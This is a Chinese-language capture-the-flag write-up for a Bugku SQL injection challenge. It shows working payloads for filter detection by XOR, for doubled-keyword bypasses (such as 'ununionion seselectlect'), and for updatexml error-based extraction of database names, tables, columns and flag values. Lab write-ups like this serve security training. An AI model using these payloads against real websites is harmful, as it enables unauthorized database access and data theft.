bugku 多次

这题分为两个关卡,都是sql注入的。第一关是关键字and、or、union、select过滤,第二关是报错注入。

分析

单引号出错
加上%23,发现不出错了
加上' and 1=1%23
又出错了,应该是过滤了

采用异或判断(即相同的条件即为假)

采用异或注入。
在id=1后面输入 '(0)'
发现不出错,那就将0换成1=1
如果出错,那就是成功了

如果括号里面的判断是假的,那么页面就会显示正确
那么同理,
如果我修改里面的内容为length(‘union’)!=0
如果页面显示正确,那就证明length(‘union’)==0的,也就是union被过滤了
最后判断出 **or ,and ,union,select**    为测试出过滤的字符。

在这里插入图片描述
可以采用双写绕过。测试payload:

http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,2%23

页面结果
2

database:

?id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,database()%23

web1002-1

tables:

注意information里面有or,要双写过滤
?id=-1’ ununionion seselectlect 1, group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+

页面结果
flag1,hint

column:

?id=-1’ ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name=‘flag1’ --+

页面结果
flag1,address

dump:

?id=-1’ ununionion seselectlect 1, group_concat(flag1) from flag1 --+

usOwycTju+FTUUzXosjr

然后就再爆一个address ,

?id=-1’ ununionion seselectlect 1,group_concat(address) from flag1 --+

在这里插入图片描述
在这里插入图片描述
哇噢 一看这个页面有点小帅噢

测试?id=1’
报错

我还是一样的办法测试过滤

union substr sleep

双写无法绕过,大小写无法绕过,//无法绕过。

根据尝试,猜测仍有字符被过滤

这次可以直接在url输入字符,通过回显来判断哪些字符被过滤了,结果发现union/sleep/substr被过滤
当尝试双写绕过时,发现内容不会被回显了,因此,利用mysql语法错误回显错误信息

构造payload

爆数据库

id=1’ and updatexml(1,concat(’~’,(select database()),’~’),1) --+

得到结果XPATH syntax error: '~web1002-2~'

爆表名

?id=1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'~'),1) --+

爆字段

?id=1' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='flag2' limit 1,1),'~'),1) --+

得到字段 flag2

爆flag

?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),1) --+

1、通过简单的尝试判断注入类型(’ " #)
2、异或注入判断字符串的过滤情况
3、首先判断回显位置,而不是一上来就开始爆破
4、当没有返回想要的结果时,尝试加入limit来限制
5、当回显被截断时,考虑无法被截断的mysql语法错误回显
6、updatexml(1,concat(’~’, … ,’~’),1)
7、为什么一定要在结尾加上%23才能得到正确结果?不晓得
8、一定要注意前一个查询一定要为空,不断尝试
9、为什么用python脚本不能得到正确结果?不晓得

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值